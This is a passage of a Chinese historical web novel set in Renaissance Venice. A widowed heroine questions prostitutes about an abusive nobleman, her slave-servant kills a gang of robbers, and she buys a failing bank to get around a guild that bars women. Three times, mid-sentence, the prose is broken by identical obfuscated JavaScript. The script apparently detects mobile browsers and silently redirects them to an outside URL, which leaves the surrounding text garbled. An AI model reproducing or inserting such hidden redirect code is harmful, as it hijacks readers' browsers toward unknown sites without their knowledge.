美丽的交际花女士脸上画着温柔可人的妆,穿着如画像中一般低胸的衣服,露出丰满姣好的形状。可就算是如此柔情似水的女人,谈起毛罗时却也紧紧皱起了眉头。 “做我们这行的,有时候总会因为工作性质的缘故了解到一些贵族秘辛。我原是该闭紧嘴巴什么也不能说的,这是规矩,再贵重的礼物也无法令我开口。可毛罗的事我却没什么不能分享,只因为他统共也就来找了我一次。而我并没有接待他,直接将他扫地出门了。” “为什么?他对您十分失礼是吗?”莉莉斯问道。 “恰恰相反。他对我殷勤谄媚极了。可我见过的男人太多了,只消一眼就能看出来他是个什么样的人。他的品行与财力都实在算不上是我的目标客户。我的时间很宝贵。我情愿与您这样可人的女士聊天,也不想与不相关的家伙浪费口舌呢。威尼斯那么大,他总能在其他地方找到合适的人服务他的。” 莉莉斯恍然大悟地点了点头。隔行如隔山,她从未想过这门生意中居然还能悟出这样的门道。 坦白讲,莉莉斯并不了解男人。埃莱娜送她入读的修道院学校里都是女同学,而她在生活中深度接触过的男性就只有父亲、哥哥与家族里的其他长辈。尽管她出于某种异性恋的本能会被外貌出众的男性吸引,但她从来都不信任,更加没有兴趣去了解他们。 可是,如果要开设银行,莉莉斯未来总免不了要和男性同行或客户打交道。她必须逼迫自己去熟悉这一类生物的所思所想。如果能像交际花姐姐一样洞察秋毫,在生意场上绝对是有益无害的。 “比方说您身后的这个男人,虽然穿着朴素,却昂首挺胸地站着,目光一直落在您的身上,压根看都没看我一眼。金发碧眼,鼻梁高挺,眼窝深邃,倒像是日耳曼人。他是您的丈夫对吧,二位感情可真好呢。” “不是的不是的!其实他是我买来的奴隶……虽然我给他起了个德语名字,但本身应该是斯拉夫人……”莉莉斯急匆匆地解释道,脸颊有些泛红。 “那您可真是买来了一个很好的奴隶呢。”交际花对莉莉斯露出一个讳莫如深的笑容,“哦对了,我听说您正在经营着为女性保管财产的业务。不知道您是否能接受一位新的存款客户呢?” “哦,当然了,我的荣幸。”莉莉斯赶紧吩咐海因里希从随身携带的公文包中拿出一本新的存折。 等存款手续办理完了,莉莉斯在海因里希的陪同下提着重重的一袋子现金回到家。虽然喜提了一名新的客户,但实在是没有得到什么与毛罗直接相关的可用信息。赌场已经调查过,民宅也已经探访,如此看来,就只剩下一个可以再去搜寻线索的选项了。 14. 待价而沽的证词 除了赌场与交际花的住所,毛罗的行程单里就只剩下了一个尚未调查的地点——位于威尼斯东部卡斯特罗区的廉价妓院。 与利亚尔托桥附近的妓女聚集地不同的是,这里缺乏监管,犯罪频发,往往只有最贫穷的水手与最失意的商人前来光顾。女人如同奴隶一般穿着暴露的服饰站在路灯下待价而沽,昏暗的烛光照亮嫖客买单时向老鸨支付的格罗索,肮脏的床铺上男男女女们交换着最原始的欲望。对清清白白的贵族小姐而言,那是一辈子都不可能会踏足前往的魔窟。 因此,为了保证莉莉斯的安全,也是为了防止一些不必要的流言蜚语,海因里希为她准备了一身略显破旧的男装,方便她可以融入其中而不被察觉。尽管这受到了塞西莉娅的严正反抗,可耐不住莉莉斯自己跃跃欲试,塞西莉娅也只能千叮咛万嘱咐,由着女主人胡闹了。 黄昏时分,塞西莉娅站在小楼的正门前担忧无比地目送莉莉斯在海因里希地陪伴下离开。她的女主人在街上大摇大摆地模仿着街头混混的样子走路,似乎比起查案更像是去郊游,心情好极了。 为了不暴露行踪,他们没有乘坐贡多拉,而是选择步行,由西向东一直走到卡斯特罗。海因里希回想起自己当初执行刺杀任务也是在这片街区。贫穷与破败充斥其间,是罪恶的温床,也是蝼蚁般卑微的人们赖以生存的避风港。 现在,两人站在一家最热闹的妓院门口,看着窗影中交叠的身影和空气中暧昧的声音,陷入了沉默。 “是这家吗?” 莉莉斯扯了扯海因里希的斗篷,压低声音问道。尽管她穿了带跟的靴子,还是比海因里希矮半个头左右,需要抬起头来看他。 “是的。”海因里希点了点头。 “那接下来我们该怎么做?” “呃……我不知道。” “啊?你怎么能不知道?” “我怎么就会知道呢?我又没有来过这种地方。按理说这种场合你应该比我熟吧。” “我怎么可能比你熟?我也是第一次来好吗!”莉莉斯恼羞成怒地瞪着他。 “像什么奴隶交易所之类的地方,你不就去过很多次吗?你在买走我之前也买过其他奴隶吧,一进去就念叨说‘上次的货不好’……” “我真服了你了。”莉莉斯翻了个白眼,“你都不知道上次买我买回来的人有多可怕,当晚我就直接让塞西莉娅给我送回去退货退款。说实话,没让他们给我赔精神损失费都是便宜了他们。” “发生了什么事?” “他意识到不到自己的身份,只把我当做一个丧偶后孤独寂寞的年轻女人,忘记了我是花钱买他的主人。但你也知道我买你回来是干嘛的。我需要的是为我工作的奴隶,而不是觊觎我的奴隶。” “所以我至今没有被退货说明干得还不错是吗?” “凑合吧。”莉莉斯顿了顿,突然坏笑着凑在海因里希的耳边说:“偷偷告诉你,塞西莉娅以前其实是蒙古人从远东带来的女奴。她原本的名字叫做‘隐’,是隐藏的意思,所以我才给她起名叫塞西莉娅。她告诉过我好多远东的故事。其中之一就是关于中国的皇宫里会有一种叫做‘太监’的奴仆。” “那是什么意思?” “就是把男人阉割了,安排他们在皇宫里伺候女人。这简直是天才一样的发明。其实我也很需要这样的服务。就像商人用骡子拉货一样,比驴温顺,比马消耗更少的草料,工作时间还更长,简直是一举两得。” “看在我勤勤恳恳工作的份上能不能放过我。”海因里希回想起塞西莉娅平常看他时恶狠狠的眼神,感到一阵后背发凉。 “怎么,你留着难道有什么用吗?”莉莉斯露出诡计得逞的笑容,得意地戳了戳海因里希的胸口,“一般宠物狗配种都得需要主人批准吧。然而我不会允许你去找女人的。男人也不行。既然留着也没什么用,不如交给我来帮你保管吧。” “……” 海因里希实在不知道该怎么接话,他知道莉莉斯是故意开玩笑刺激他,可他一点也笑不出来。突然,一股刺鼻的廉价香味涌进了他的鼻腔,两个花枝招展的女人热情地冲上来挽住了海因里希的左右两边胳膊,笑呵呵地将他往屋里带。海因里希慌忙地甩开她们,发现莉莉斯正在遭受一模一样的待遇,只好哭笑不得地帮她解围。 “我们是第一次来。”海因里希有些尴尬地拍了拍衣服袖子,像对待兄弟似地把胳膊搭在莉莉斯的肩膀上,“你们这儿是……怎样的一个流程?” “先付钱,按次收费,包夜要加钱。”老鸨发现来的是生面孔,警觉地上下打量来者破破烂烂的装束,“一个姑娘五个格罗索。” “那我们先来十个。”莉莉斯爽快地说,随手抓了一大把硬币摊开在柜台上。 “第一次就要那么多?”饶是见过不少大风大浪的老鸨都被吓了一跳,“这样吧,我安排你们去包间,带几个姑娘先来给你们挑选。” “好好好。我要那种……嗯,别的客户没有好好爱护的……” “额,行,我看情况为二位安排。” 老鸨有些尴尬地带着莉莉斯和海因里希向里屋走去。走廊两侧是几乎没有隔断的大开间,床铺与床铺之间仅仅用一块块破布隔开,毫无隐私可言。黑暗逼仄的空间里充斥着汗臭味、痛苦的呻吟与狠毒的辱骂,墙角处的地板上堆积着散发臭气的不明液体。这一切令莉莉斯感到很害怕。她下意识地往海因里希的身边更靠近了一些,几乎要贴到他的怀里。 老鸨将他们带进了一个还算干净宽敞的房间后先离开了。海因里希发现莉莉斯竟被吓得脸色铁青。 “您还好吗?”他十分担忧地扶着莉莉斯坐在椅子上,“不舒服的话我们还是回去吧。也不是非要今天调查不可。” “如果当初母亲不是被父亲接走了……”莉莉斯捂着胸口深呼吸,让自己冷静下来,“我或许也会被送到这样的地方来吧。” “不会的。”海因里希单膝跪在她面前尝试安抚她,“这样的事情不会发生。” “唉。”莉莉斯长叹一口气,“早点问完话早点回家吧。” 没过多久,老鸨领着十个左右年轻的女孩依次走进房间。她们出于职业需要几乎穿着都十分暴露,可却有那么几个人披着长袖的开衫,仿佛在遮盖些什么。莉莉斯给老鸨又塞了几个硬币,将其中三个面向怯生生的女人留在房间中。她们看起来极为年轻,甚至可能还没有莉莉斯年纪大,却一个个骨瘦如柴,形同枯槁。 “你们在过去的一周是否服务过一个贵族男人,大概和我差不多高,棕色卷发,和我一样的灰绿色的眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15973639|177846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睛。”莉莉斯开门见山地询问道。 三个女人面面相觑,不知是该讲还是不该讲。 “你们不用害怕。”莉莉斯突然摘下了斗篷上的兜帽,露出高高盘起的红色长发,“我也是女人,曾经遭受过那家伙的殴打。此行过来是为了收集证据,为了有一天能将恶人绳之以法。如果你们愿意配合我,为我提供有关他的罪行证词,我现在就可以给你们每个人支付二十个格罗索的小费,事成之后还会有谢礼。” 三个女人似乎还有些犹豫,但酬金的数额实在太高了,抵得上她们伺候七八个男人才能拿到的钱。尽管这么做不合规矩,在利益的驱使下,还是有人率先开口了。她体态丰腴,有着橘色的头发。 “他第一次来的时候带着浓浓的怨气,用皮带抽我,把我全身上下抽得青一块紫一块……嬷嬷看我实在可怜,给我停了两天工作安排我休息 ……虽然以前也挨过打,但从未挨过这么狠的打……” 橘发的女人撸起袖子,将伤痕累累的两根胳膊展示在莉莉斯面前,说着说着竟潸然泪下。莉莉斯从口袋里抽出一张塞西莉娅为她准备的手帕,递给正在用手背抹泪的女孩子。 “我是第二次接待他的。”另一个留着浅棕色长发的女孩神色不安地说,“他并没有打我。但我印象很深刻的是,像他那样装束体面的客人很少会来我们这里,如果来了一般也会给一点小费,哪怕是几个苏尔迪……可他一分钱也没有多给,做完之后就直接离开了。” 轮到最后一个黑发的女孩,她不知所措地环顾四周,眼神闪躲着说:“我也接待过,他也打了我……但是我们这儿的规矩,客人的指令是不可以违抗的……” “谢谢你们。”莉莉斯郑重地向她们道谢,招呼海因里希从口袋里掏钱,“我没有什么别的要问的,你们可以走了。等以后再需要你们配合的时候,我会专门派人来请你们的。今天的事情,还请各位保密。” “谢谢您,包在我们身上,没问题。”女人们从未得过这么高的小费,喜形于色地咧开了嘴,千恩万谢地收下钱后又紧赶着去继续接客了。 “你觉得她们说的是真话吗?”海因里希附在莉莉斯的耳边问。 “真假参半。”莉莉斯冷冷地说,“第一个应该是真的,第二个或许是真的,第三个估计是假的。毕竟是用几个银币就可以收买的人嘴里说出来的话……随便听听得了。在如此条件恶劣的妓院里,看来若是不出点命案,终究也泛不出来什么水花……” “您想怎么做?” “算了。当务之急不是这个。先继续盯着他的动向吧,比起报复他,我还有更要紧的事情得去做……” 莉莉斯站起身,带着海因里希向大门口的方向走去,却在弯弯绕绕的走道间迷了路,不小心走进另外一个挂满布帘的开间。她迎面看见一个身材精瘦、面容清秀的金色卷发美少年正妖娆地躺在床上,吸引同为男性的恩客们走进他的小隔间。莉莉斯被吓了一跳,赶紧回过头向另一个方向折返,好不容易才走出错综复杂的妓院。 终于可以离开这个混乱的地方启程回家了。等回到家一定要扔掉这身脏衣服,在香喷喷的浴室里把自己洗干净。于是莉莉斯牵着海因里希的手快速穿过漆黑的小巷,正打算松一口气,忽然看见四五个彪形大汉堵住了前前后后的巷子口。 15. 驯服会咬人的狗 海因里希几乎是出于本能地把莉莉斯护在身后,挡在她前面应对两面夹击的土匪。他迅速查看了一圈周围的环境分析局势,街道上空无一人,破旧的民宅全都门窗紧闭,呼救无望。他身上没带武器,目光所及之处也没有任何能临时借用的东西,情况不容乐观。 他并不惧怕战斗,但刀剑不长眼睛,他没有十足的把握能够在以一敌多的同时保护好莉莉斯。 “把钱交出来!” 为首的络腮胡子大汉提着一把弯刀,身后跟着两个同样带刀的歹徒。另一边的巷口也被堵上,两个抄起棍棒的男人正在步步逼近。 “我们给钱。”海因里希举起双手,对拿着刀的男人喊道。 “掏钱!” 他将右手伸进斗篷,掏出莉莉斯让他帮忙保管的钱袋子。由于刚刚在妓院里“消费”了一笔,里面的格罗索银币已经所剩无几。 “才这么点儿?把身上的羊毛披风也脱下来!” 海因里希将披风脱下来交给对方。 “另一个呢?你挡在他前面干什么?” “脱我一个人的就行了。他身体不好,脱了会着凉。” “有什么不能脱的?不想死就给我脱了!” 莉莉斯看着面前男人凶神恶煞的表情,四肢不由自主地发抖。她害怕地一直往后退,直到后背贴在了墙上,一不小扯下了披风上的兜帽——鲜艳的红色长卷发立刻暴露在众人面前。 “怎么是个女人!?既然有女人,那怎么也得让我——” 话音未落,海因里希就一把抢过了匪首手中的弯刀,兔起鹘落之间斩断了他的头颅。男人紧握着钱袋的手被迫松开,银币啪嗒啪嗒地从袋子里掉出来,落在地面上发出清脆的声响。另外四人吓了一跳,却还是相互对视一眼,决定仗着人多一齐冲上来。海因里希将手中稀里哗啦喷血的人头向那两个拿棍的人甩去,握住弯刀奋力迎战两个持刀袭来的匪徒。 莉莉斯从来没有亲眼目睹过杀人的场景,被吓得双腿发软,整个人紧紧靠在墙面上控制不住地哆嗦。她突然想起塞西莉娅在她的斗篷内侧备着一把锋利的匕首。当她试图用自己发抖到无法抓握的右手去握紧匕首时,一道鲜血瞬间溅在她的眼睛上蒙住她的视线。 等她慌慌张张地擦干眼睛上的血迹时,只看见海因里希一个人浑身是血地站在自己面前。他的头发上、脸上、衣服上、手上,到手都是血。四个土匪都已经被他放倒在地,血泊里散落着七零八落的肢体。 “现在已经安全了。”海因里希蹲下身,将被染红的钱袋子捡起来,手指浸在血里捡起散落的一枚枚银币,“别害怕。” 捡完了地上的钱,海因里希将自己腰间的皮带取了下来,绑住左侧大臂上涓涓淌血的伤口。莉莉斯这才发现海因里希也受伤了,为了保护她而受伤了——可当她看见这个全身浴血的强壮男人朝自己走过来的时候,却还是出于本能害怕地向后退。 海因里希从莉莉斯惊恐失措的脸上察觉到了她的情绪。恐惧、抵触、甚至嫌恶——她为什么要摆出一幅这样的表情?明明他做这一切都只是为了要保护她而已。这是他第二次杀人,也是第二次为了莉莉斯的缘故而杀人。全都是因为她。可他根本不想变成这样,不想变成一个凶狠残暴、杀人不眨眼的恶魔。 他恍惚间回到了自己还是海因里希·施密德尔时前往威尼斯的那个夜晚,回到一切的开端——莉莉斯派来的海盗洗劫了他的小船。在他知道真相的那一刻他就决定要复仇,那他究竟为什么还要拼死保护这个害他沦落至此的罪魁祸首? 他好像错过了一个完美的复仇契机。他只要自己设法离开,把莉莉斯交给那群土匪……不行,不行不行不行,绝对不行。虽然都是劫匪,但他们对待男人和对待女人的方式肯定是截然不同的。海因里希根本不敢细想一个手无缚鸡之力的贵族少女落到这些人手上会是什么下场。这实在太残酷,太恶毒,太令人作呕了。 那如果趁现在杀了她,把她的死亡嫁祸在这群土匪身上,难道不是一个两全其美的解决方案吗?他身上的伤痕就是他为护主而誓死抵抗土匪的铁证,不仅洗脱了谋杀的嫌疑,甚至还能得一个忠仆的声名。 要动手吗?现在要动手吗?海因里希失魂落魄地看向莉莉斯寻求一个答案。 莉莉斯猛地扑进了海因里希的怀里,紧紧抱住了他。 “海因里希,谢谢你……”莉莉斯用自己的袖管擦干海因里希脸上的血迹,“我想回家……” “……好,我们回家。” 他将全身无力瘫软在自己身上的女主人拦腰抱起来,快步向家的方向走去。做不到。根本下不了手。根本不可能。 他当然不可能就这么放过她。可如果他真的诉诸暴力杀死莉莉斯,那么他与当初的莉莉斯又有什么区别呢?难道复仇的方式必须得是变成和她一样的魔鬼吗? 说不定他或许可以采取一种更间接、更委婉的复仇方式,让她亲身体验一遍他所遭受过的痛苦,但又不至于真的杀了她,毕竟她还只是一个和海因里希年纪一般大的少女,说不定还能有改邪归正的机会……说不定他可以改变得了她。 回到家后的两人一起挨了塞西莉娅狠狠一顿训斥批评。莉莉斯被禁止再前往这样危险的场所,海因里希则被特别授予了佩戴武器的权限。这似乎也从侧面反映了经此一役后他成功获得了塞西莉娅的信任。毕竟他身上被切开的口子实打实,而莉莉斯却仅仅只是被血迹弄脏了头发。 海因里希清理干净自己之后在伊万卡的帮助下重新包扎了伤口。洗澡前他才发现莉莉斯让他保管的钱袋子还在自己身上没有交给她。他重新用一个干净的袋子将清洁干净的银币装起来,敲响莉莉斯的房门。 “夫人说那是给你的赏赐,自己收着吧。” 开门的是塞西莉娅,她对海因里希说话的态度多少和缓了一点,但仍旧算不上友善。言罢她立刻关上门,海因里希只好孤零零地揣着钱袋回到自己房间。 他躺在床上回忆今晚发生的种种,仿佛仍旧能感觉到莉莉斯靠在自己怀里的温度,闻到她散发着淡淡香气的头发。这是想要杀害他的仇人,他的女主人,他的未婚妻。他的思绪太乱了,不是一个夜晚能够厘清的。 七天后,汇兑商行会。 上次的事情过去后,海因里希获得了一周的假期修养受伤的手臂,同时被要求待在自己的卧室里严禁外出。他知道这其实是一种保护。即使是在凶杀频发的卡斯特罗区,一夜间惨死五人也并非寻常事,执法官需要走个过场调查凶手。在此期间,他还是少在外面露面比较好。 等风头过了,他有机会再一次见到莉莉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15973640|177846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 斯的时候,便是陪她前往位于利亚尔托大桥的汇兑商行会。 上午的威尼斯市中心仍如往常一样熙熙攘攘,人潮涌动。集市上的人们喧闹地讨价还价,商品与货币像泻湖中的海水般川流不息。明媚的阳光照耀每一个角落,仿佛那些佝偻于阴影中的罪恶都从未存在过。 寡居的贵妇人再一次踏进行会的大门,不出意料,行会拒绝了她的加入申请。 “为什么拒绝我?我明明已经按要求提交了所有材料。我看一些已经注册在案的小银行资本金甚至都没有我的一半高……” “你的材料没有问题。”管事的男人面无表情地告诉她,“但从来没有过女人作为银行主理人的先例。” “没有任何一条法律禁止女人开银行。”莉莉斯火冒三丈地辩驳道。 “银行的业务不仅需要法律认可,还得是建立在信任的基础上进行的。你们女人太软弱,太善变,太容易被情绪所影响了。” “这简直是……一派胡言!” “你看,我也就实话实说了两句,你的眼神就恨不得杀了我似的。”男人揶揄道,“这样吧,我给你支个招。你要是实在想干咱们这行,不如让你的克纳罗老爹给你开一家银行,你先从学徒开始干干试试看?实在不行,让兄弟来申请也可以。” 海因里希实在听不下去了,刚想出言帮莉莉斯反驳几句,就看见一袭黑裙的女主人转过身,头也不回地径直向大门外走去。 “他们可以拒绝我的申请,但是不能侮辱我的人格。” 莉莉斯心灰意冷地坐在行会门口的小广场长椅上,正对面是一座小教堂。 “居然还让我去找父亲和哥哥?我费尽心思就是为了逃离他们……” 莉莉斯恶狠狠地咬紧牙关,自顾自地念叨着,绞尽脑汁地思考接下来的对策。难道是钱给得还不够多,得想办法再去贿赂更加有权有势的人吗?可若是那样还不奏效的话…… 她抬起头,看见又有满脸失意的人从行会的门口走出来。是一个犹太人打扮的老头。她忽然想起来塔塔今天一大早递来的消息——近期热那亚的海盗愈发猖獗,有三艘从伦敦港出航的运送羊毛原料的船出事了,由于船上的货物大多是举债购买,若是债务压力太重还不上,背后出资的银行都可能因为资金链断裂而破产。 莉莉斯甚至有些羡慕他们,自己就像一个因为非婚生子身份而无法成为骑士的贵族少年羡慕着那些负伤归来的战士,满怀着一腔杀敌的勇气却连上战场的机会都没有。 她无奈地将目光投向另一个十字路口,瞧见一个扎着马尾辫的小女孩正提着一支篮子向自己走来。 “美丽的小姐,请问您想要买一只小兔子吗?复活节快到了,小兔子会为您带来好运的!“ 莉莉斯呆呆地掠过笑容灿烂的小女孩,将目光投向篮子里那一窝刚刚断奶不久的小兔子。 是啊,复活节就快要到了,埃莱娜姑姑还要专门回威尼斯来庆祝呢,到时候在圣马克广场上将会有极其盛大的庆典,庆祝基督耶稣的复活…… “海因里希!” 莉莉斯突然站起身来大喊,把海因里希和一旁的小女孩都吓了一跳。 “我的机会来了。”莉莉斯握住海因里希的手,勾起一个势在必得的笑容,“我终于知道该怎么做了。” 16. 精打细算的重生 “您想要怎么做?” “我要做件好事。”莉莉斯十分激动地告诉他,灰绿色的眸子里闪着光,“帮一家濒死的银行起死回生。” 海因里希对莉莉斯的谜语感到十分迷惑。他试图跟着她的脑回路以看待一个人的方式去想象一家公司。 从财务健康的角度出发,公司的现金流就像人身体中的血液一样至关重要。如果资金链断裂,资不抵债,公司就会破产。相应的,要去拯救一家公司,则需要输血大量资金帮它还清所有债务,使现金流重新健康运转,公司才能再次正常运营。 这么做的代价是昂贵的。莉莉斯可不是一个会因怜悯之心而主动做慈善的人。她这么做的目的只有一个——以承担债务的方式买下这个现存银行的经营许可证,实现借壳上市。 这不禁令海因里希回想起自己的父辈们积累财富的方式。最初,他们家只是美因茨地区一个籍籍无名的铁匠家族,通过改良武器与装备的战斗性能在与雇佣兵的交易中赚得第一桶金。 然而所有靠经商致富的人都知道,靠着勤勤恳恳的劳动是不可能实现阶级跨越的。施密德尔家真正的发迹要从买入第一股矿山股票开始——他们正式从为伯爵提供服务的工匠成为了掌握铁矿所有权的一份子。 尽管领主在名义上全权控制着矿产的开采权,但井下作业所需资金成本巨大,技术要求较高,项目初期往往都依赖于合资。以购买股份的方式投资能够为持股者带来影响项目的权益和股息,成功从工匠向资本转型。后来,伯爵困于战事,逐渐资不抵债,不得不低价贱卖更多的矿山股,使得施密德尔家族通过收购股份成为了实际意义上的矿山主人。 而莉莉斯现在要做的事,则是收购一个濒临破产的银行,帮他们重组所有的债务,起死回生,然后顺理成章地继承他们已经办好的经营许可,将这个壳子注入自己的资本,改成新的名字,作为莉莉斯的银行重新面世。 等海因里希终于理解一切的时候,发现莉莉斯正笑着掏出几个格罗索银币交给一脸茫然的小女孩。 “这些兔子我全要了。”莉莉斯回过头对海因里希做了个鬼脸,“今晚吃兔肉大餐。” 一回到家后,莉莉斯便马不停蹄地着手开始分配新任务。她先安排塔塔去打探市面上因为近期频繁海难而深陷债务危机的小微银行。此时此刻,这些银行的主理人们正慌不择路地在市集上叫卖,如乞讨一般恳求投资者注入新的资金,帮助他们逃过一劫。 罗马不是一天建成的,相应的,一场海难通常也并不足以拖垮一家现金流健康,风控能力强大的银行,只是会作为一根导火索去揭开堆积已久的烂账。因此,这些破产银行主理人等到的往往并不是好心人雪中送炭的援助,而是是冰冷幽暗的债务人监狱。除了胃口更大更贪婪的恶魔以外,又有谁会想要帮助这些被诅咒下地狱的失败放贷者呢? 海上共和国依靠大海为他们带来源源不断的财富,同时不得不接受无情的巨浪与海盗的侵扰,因此公司倒闭、银行破产都并非罕见。在君士坦丁堡陷落之前,威尼斯曾经有上百家大大小小的银行。航路被骤然切断,无数商人在战争中被杀,金融危机一触即发,商品经济遭受到黑死病疫情结束以来的最大一次重创。城中将近半数的银行宣告破产,连带着曾经将大量资产注入君士坦丁堡的名门望族也纷纷损失惨重。 克纳罗家族就是从那时开始总上了下坡路。前任家主受困于家族资产大缩水,在挫败中郁郁而终。新任家主也无力使元气大伤的家族逆天改命,只能依托着尚在外奔波的埃莱娜让家族产业苟延残喘。 然而,由于家族式微而无暇顾及女眷,反倒给了莉莉斯一个异军突起发展自己事业的机会。 当老一辈的男人们相聚在酒局上推杯换盏怀念昔日荣光之时,莉莉斯收到来自三家银行的报价,带着海因里希和塞西莉娅一家又一家地去拜访他们,分别检视债务、查阅流水、审计库存,计算得失。 夏洛克有妻儿老小需要照顾,每天一到点就会离开,莉莉斯拿他没办法,只好逼迫着没有人生自由的见习会计师海因里希加班加点地帮她算账。只不过莉莉斯自己也没闲着,好几次工作到太晚直接累倒在了书桌上,没睡多久便又爬起来继续工作。市场瞬息万变,如果由于效率问题而错过了合适的收购机会和价格将是极大的损失,所以她一刻也不敢停歇。 三天之后,莉莉斯顶着厚厚的黑眼圈,成功以1000杜卡特现金的价格买下了一家濒临破产的银行的经营权和一屁股债。 收购所用的钱被注入公司资产作为还款的资本,卖方的犹太银行家无法得到一分钱现金,但却得以在交易后洗清一身债务,把所有欠款的还款责任转移到这个踌躇满志的红发小寡妇身上。 莉莉斯在仆役的簇拥下,穿着她最喜欢的一身丧服容光满面地走进汇兑商行会。那位犹太卖家穿着一身洗得已经泛白的粗布长袍,小心翼翼地跟在莉莉斯后面,手里的牛皮公文包中装着厚厚的一沓账目文件。 “早上好啊。”莉莉斯对行会柜台前的管事露出一个胜券在握的笑容,“又是我,莉莉安娜·施密德尔,别来无恙。” 管事的男人瞥了一眼面前头戴黑纱的寡妇,察觉到莉莉斯的身后跟着一位已注册多年的行会成员。 “我今天来,是为了办理收购所罗门·戈德斯坦先生的银行的相关手续。” 四月的威尼斯艳阳高照,即使在室内也暖意正浓。莉莉斯从手包里掏出一把黑色小折扇,从容优雅地为自己扇风。 “我想上次我已经说得很清楚了,我们行会无法接受女性成员加入……” “戈德斯坦先生的银行名下有总计1500杜卡特的欠款,”莉莉斯直接无视了对方的反对,继续说了下去,“有一些应付账款已经逾期六个月有余,其中还包括税金与拖延缴税的行会罚款。戈德斯坦先生已经变卖了几乎所有公司与个人名下的财产,都无力支付这些欠款。” 被债务折磨得焦头烂额的犹太银行家从公文包中掏出了装订成册的公司账目,交给到行会管事手中。 管事半信半疑地打量着笑容满面的莉莉斯,开始仔细阅读戈德斯坦呈上来的账目流水。他对这个老头子有印象。大约一周前,就在向莉莉斯宣告入会失败决定的当天,所罗门·戈德斯坦也曾拜访行会,前来提交延期支付税金的申请。 “收购手续落成之后,我会以新一任银行主理人的名义针对债务进行破产重组,首先立即兑付行会欠款,然后重新整理客户押金和票据,与债权人磋商谈判相关债务的兑付方式。” “成交价格是?” “1000杜卡特。” “这仍旧不足以支付戈德斯坦银行所有的逾期欠款。” “没错,然而摆在你们面前的事实就是,如果你们不允许我这个好心的寡妇来收购这家濒临破产的可怜银行,那你们可就连一分钱也拿不到了。” 管事的男人哑口无言。莉莉斯开出了一个令他无法拒绝的条件。在关系到自身的绝对利益 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15973641|177846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时,男人还是女人,基督徒或是异教徒,似乎都显得无关紧要了。 “……我今天可以给你开一张临时转让许可,以便你帮助戈德斯坦先生支付他欠下的债务。然而,戈德斯坦先生是异教徒,他的经营不受到宗教法的影响,可是你作为基督徒,收购银行后需要满足教会的合规要求,如果得不到主教的特别批准,我们是没有办法帮你办长期许可证的……” 管事的人领着莉莉斯一行人走到后面的会议室中继续手续办理。海因里希终于瞥见了黑纱下莉莉斯的表情。那双漂亮的绿眼睛炯炯有神地闪着光,嘴角的笑容几乎要压不住。 虽然这次收购下了血本,几乎贴进去了她所有的嫁妆——但她终于在事业合法化上迈出了第一步,让她除了克纳罗家的私生女,施密德尔家的寡妇以外多了一重被世人所尊重认可的身份——一位受到汇兑商行会认可的女银行家。 至于主教的批准,莉莉斯原本并不担心。威尼斯城现如今的主教达卢卡大人从前是克纳罗的家族神父,上次为海因里希主办葬礼的那位神父也是他的徒弟。达卢卡并不是威尼斯本地人,是被教皇任命后派至威尼斯,因此对这几个互相照拂的贵族家族也多有通融。莉莉斯是有他任命的徒弟亲自施洗,看着一路长大的孩子,能够以私生女的身份被送进最好的修道院学校就读,背后也存在主教的帮衬。 然而,当莉莉斯兴冲冲地带着礼物去到圣马可主教座堂去拜访主教时,却被主教轻描淡写地否决了。 “上帝先造亚当,后造夏娃。顺服与沉静是女人的美德,我的孩子,正因为我看着你长大,我更加不能允许你去做这种违背上帝律法的恶行。” 秃顶的主教穿着纯白色的长袍,戴着纯金的项链,坐在镀金的椅子上,手里把玩着莉莉斯送给他的黄金十字架。 “可我与那些异教徒不一样,我绝不收取利息,绝不会违反教会法的任何一条规定……” “我们都知道汇兑商背地里干的是什么勾当,你就不用同我打哑谜了。” 主教叹了一口气,将十字架收进盒子里,语重心长地对她说。 “更何况,你的身世并不光明。你不是克纳罗家名正言顺的女儿,不是施密德尔家过了门户的妻子,也未曾生儿育女成为母亲,更不是为主奉献一生的修女。那么你为谁而守财?为谁而用钱?我要如何相信你不是受了撒旦的蛊惑,迫不及待想要坠进贪欲的深渊?” 莉莉斯沉默地低下头站在主教对面。她知道对方口中引经据典的教义只是虚伪的遮羞布,事情的本质在于他没有看上她进献的三瓜两枣。可是她为收购已经掏空了积蓄,如果要继续贿赂教廷就需要使自己陷进净资产负债的境地。这对于一家刚刚开业的新银行而言可不是一个好的起点。 谈话过后,莉莉斯心灰意冷地从偏门走出教堂。折腾了一整天,圣马可广场上的天空已经从清澈的湛蓝变成了浓艳的紫红色。莉莉斯又一次无助地坐在广场旁的长椅上,呆呆地望着钟楼上敲响晚祷的钟声。突然,她握住了脖子上的祖母绿项链。 